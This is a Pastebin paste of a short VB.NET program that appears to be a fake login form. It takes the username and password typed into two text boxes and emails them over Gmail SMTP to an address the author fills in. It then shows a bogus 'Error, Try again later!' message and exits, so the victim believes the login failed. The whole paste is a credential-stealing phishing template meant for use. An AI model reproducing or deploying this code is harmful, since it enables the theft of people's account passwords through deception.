Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- If TextBox1.Text = "" Then MsgBox("Username is invalid")
- If Textbox2.text = "" Then
- Msgbox("Password is invalid")
- Else
- End If
- End if
- Dim smtpServer As New SmtpClient()
- Dim mail As New MailMessage()
- smtpServer.Credentials = New Net.NetworkCredential("YourAddress@gmail.com", "Your gmail password")
- 'using gmail
- smtpServer.Port = 587
- smtpServer.Host = "smtp.gmail.com"
- smtpServer.EnableSsl = True
- mail = New MailMessage()
- mail.From = New MailAddress("informations@info.info")
- mail.To.Add("YourEmailAddress@gmail.com")
- mail.Subject = "Username: " & TextBox1.Text
- mail.Body = "Username " & TextBox1.Text & ", " & "Password : " & textbox2.text
- smtpServer.Send(mail)
- MsgBox("Error", 0 + 16, "Try again later!")
- End
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement